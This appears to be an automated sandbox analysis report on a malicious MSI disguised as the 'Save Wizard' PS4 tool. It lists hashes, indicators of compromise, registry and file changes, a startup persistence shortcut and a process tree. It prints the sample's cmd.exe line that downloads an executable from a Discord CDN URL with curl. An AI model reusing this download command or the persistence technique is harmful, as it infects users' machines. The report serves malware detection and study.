8c6cf25734d89865f9aaa5dea926d6dcb66558ac0493248237c36474b1d3bd0e

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-en-20211208
submitted
16-01-2022 19:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8c6cf25734d89865f9aaa5dea926d6dcb66558ac0493248237c36474b1d3bd0e.msi
Size

2.1MB
MD5

2db9ee63581f0297d8ca118850685602
SHA1

244c7008be6f767f0f31a341fe0e70fa2e9a5399
SHA256

8c6cf25734d89865f9aaa5dea926d6dcb66558ac0493248237c36474b1d3bd0e
SHA512

58cf0bdfe777ffcb01f9795d859f2daa9cb77d7587d1f054d8f5a0d456289d36e3c155fa6d6f5f4d47ef742a7038c3fa98b27093d6394e5db31cb5854ff5c8ff

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

6 1564 powershell.exe
8 1564 powershell.exe
10 1564 powershell.exe
12 1564 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

aipackagechainer.exePS4SAVEWIZARD.exe

pid process

1920 aipackagechainer.exe
1036 PS4SAVEWIZARD.exe

flow	pid	process
6	1564	powershell.exe
8	1564	powershell.exe
10	1564	powershell.exe
12	1564	powershell.exe

pid	process
1920	aipackagechainer.exe
1036	PS4SAVEWIZARD.exe

Drops startup file 1 IoCs

Processes:

PS4SAVEWIZARD.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start ChromeUpdate.lnk	PS4SAVEWIZARD.exe

Loads dropped DLL 6 IoCs

Processes:

MsiExec.exeaipackagechainer.exe

pid process

1764 MsiExec.exe
1764 MsiExec.exe
1764 MsiExec.exe
1764 MsiExec.exe
1764 MsiExec.exe
1920 aipackagechainer.exe

pid	process
1764	MsiExec.exe
1764	MsiExec.exe
1764	MsiExec.exe
1764	MsiExec.exe
1764	MsiExec.exe
1920	aipackagechainer.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Drops file in System32 directory 12 IoCs

Processes:

powershell.exePS4SAVEWIZARD.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EB35376744F392396307460D546222D_DD2D9EEABEF3F0DB36412FEE753FD2DC	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	PS4SAVEWIZARD.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	PS4SAVEWIZARD.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EB35376744F392396307460D546222D_DD2D9EEABEF3F0DB36412FEE753FD2DC	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	PS4SAVEWIZARD.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	PS4SAVEWIZARD.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	powershell.exe

Drops file in Windows directory 16 IoCs

Processes:

msiexec.exeDrvInst.exe

description	ioc	process
File created	C:\Windows\Installer\f763340.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI33BD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI363E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3729.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3AB6.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSI39E9.tmp	msiexec.exe
File created	C:\Windows\Installer\f763344.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f763342.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3814.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File created	C:\Windows\Installer\f763342.ipi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3CC9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f763340.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

Processes:

msiexec.exepowershell.exePS4SAVEWIZARD.exeDrvInst.exeaipackagechainer.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	PS4SAVEWIZARD.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	aipackagechainer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	PS4SAVEWIZARD.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0633f630e0bd801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run	aipackagechainer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	aipackagechainer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	PS4SAVEWIZARD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe

Modifies registry class 21 IoCs

Processes:

msiexec.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\17555D107EEE5C543AE1269D83D318C7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D7B084756CD834E48B50B91634685181\17555D107EEE5C543AE1269D83D318C7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\SourceList\PackageName = "8c6cf25734d89865f9aaa5dea926d6dcb66558ac0493248237c36474b1d3bd0e.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\17555D107EEE5C543AE1269D83D318C7\PS4SAVEWIZARD	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D7B084756CD834E48B50B91634685181	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\SourceList	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\17555D107EEE5C543AE1269D83D318C7\MainFeature	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\ProductName = "Save Wizard"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\Version = "16777216"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\PackageCode = "7809ABB7D7D8ED0409C7782B3B02FB7A"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\17555D107EEE5C543AE1269D83D318C7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

msiexec.exepowershell.exepowershell.exe

pid process

760 msiexec.exe
760 msiexec.exe
1612 powershell.exe
1564 powershell.exe

pid	process
760	msiexec.exe
760	msiexec.exe
1612	powershell.exe
1564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exevssvc.exeDrvInst.exe

description	pid	process
Token: SeShutdownPrivilege	1592	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1592	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeSecurityPrivilege	760	msiexec.exe
Token: SeCreateTokenPrivilege	1592	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1592	msiexec.exe
Token: SeLockMemoryPrivilege	1592	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1592	msiexec.exe
Token: SeMachineAccountPrivilege	1592	msiexec.exe
Token: SeTcbPrivilege	1592	msiexec.exe
Token: SeSecurityPrivilege	1592	msiexec.exe
Token: SeTakeOwnershipPrivilege	1592	msiexec.exe
Token: SeLoadDriverPrivilege	1592	msiexec.exe
Token: SeSystemProfilePrivilege	1592	msiexec.exe
Token: SeSystemtimePrivilege	1592	msiexec.exe
Token: SeProfSingleProcessPrivilege	1592	msiexec.exe
Token: SeIncBasePriorityPrivilege	1592	msiexec.exe
Token: SeCreatePagefilePrivilege	1592	msiexec.exe
Token: SeCreatePermanentPrivilege	1592	msiexec.exe
Token: SeBackupPrivilege	1592	msiexec.exe
Token: SeRestorePrivilege	1592	msiexec.exe
Token: SeShutdownPrivilege	1592	msiexec.exe
Token: SeDebugPrivilege	1592	msiexec.exe
Token: SeAuditPrivilege	1592	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1592	msiexec.exe
Token: SeChangeNotifyPrivilege	1592	msiexec.exe
Token: SeRemoteShutdownPrivilege	1592	msiexec.exe
Token: SeUndockPrivilege	1592	msiexec.exe
Token: SeSyncAgentPrivilege	1592	msiexec.exe
Token: SeEnableDelegationPrivilege	1592	msiexec.exe
Token: SeManageVolumePrivilege	1592	msiexec.exe
Token: SeImpersonatePrivilege	1592	msiexec.exe
Token: SeCreateGlobalPrivilege	1592	msiexec.exe
Token: SeBackupPrivilege	1528	vssvc.exe
Token: SeRestorePrivilege	1528	vssvc.exe
Token: SeAuditPrivilege	1528	vssvc.exe
Token: SeBackupPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	1976	DrvInst.exe
Token: SeLoadDriverPrivilege	1976	DrvInst.exe
Token: SeLoadDriverPrivilege	1976	DrvInst.exe
Token: SeLoadDriverPrivilege	1976	DrvInst.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe
Token: SeTakeOwnershipPrivilege	760	msiexec.exe
Token: SeRestorePrivilege	760	msiexec.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

msiexec.exeaipackagechainer.exePS4SAVEWIZARD.exe

pid process

1592 msiexec.exe
1592 msiexec.exe
1920 aipackagechainer.exe
1920 aipackagechainer.exe
1036 PS4SAVEWIZARD.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

PS4SAVEWIZARD.exe

pid process

1036 PS4SAVEWIZARD.exe

pid	process
1592	msiexec.exe
1592	msiexec.exe
1920	aipackagechainer.exe
1920	aipackagechainer.exe
1036	PS4SAVEWIZARD.exe

pid	process
1036	PS4SAVEWIZARD.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

msiexec.exeaipackagechainer.exePS4SAVEWIZARD.exe

description	pid	process	target process
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1764	760	msiexec.exe	MsiExec.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 760 wrote to memory of 1920	760	msiexec.exe	aipackagechainer.exe
PID 1920 wrote to memory of 1036	1920	aipackagechainer.exe	PS4SAVEWIZARD.exe
PID 1920 wrote to memory of 1036	1920	aipackagechainer.exe	PS4SAVEWIZARD.exe
PID 1920 wrote to memory of 1036	1920	aipackagechainer.exe	PS4SAVEWIZARD.exe
PID 1920 wrote to memory of 1036	1920	aipackagechainer.exe	PS4SAVEWIZARD.exe
PID 1920 wrote to memory of 1036	1920	aipackagechainer.exe	PS4SAVEWIZARD.exe
PID 1036 wrote to memory of 1872	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1872	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1872	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1968	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1968	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1968	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 560	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 560	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 560	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1744	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1744	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1744	1036	PS4SAVEWIZARD.exe	cmd.exe
PID 1036 wrote to memory of 1612	1036	PS4SAVEWIZARD.exe	powershell.exe
PID 1036 wrote to memory of 1612	1036	PS4SAVEWIZARD.exe	powershell.exe
PID 1036 wrote to memory of 1612	1036	PS4SAVEWIZARD.exe	powershell.exe
PID 1920 wrote to memory of 1564	1920	aipackagechainer.exe	powershell.exe
PID 1920 wrote to memory of 1564	1920	aipackagechainer.exe	powershell.exe
PID 1920 wrote to memory of 1564	1920	aipackagechainer.exe	powershell.exe
PID 1920 wrote to memory of 1564	1920	aipackagechainer.exe	powershell.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\8c6cf25734d89865f9aaa5dea926d6dcb66558ac0493248237c36474b1d3bd0e.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1592

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding A7C96EA7A4D0DC8505D9B127A5BB3C03
2⤵
- Loads dropped DLL
PID:1764

C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\aipackagechainer.exe
"C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\aipackagechainer.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1920

C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.exe
"C:\Users\Admin\AppData\Roaming\SaveWiz inc\Save Wizard\prerequisites\PS4SAVEWIZARD\PS4SAVEWIZARD.exe"
3⤵
- Executes dropped EXE
- Drops startup file
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://cdn.discordapp.com/attachments/531227037579345940/914273423725846578/AutoIt3.exe --output C:\ProgramData\EdgeData\AutoIt3.exe | clip
4⤵
PID:1872

C:\Windows\System32\cmd.exe
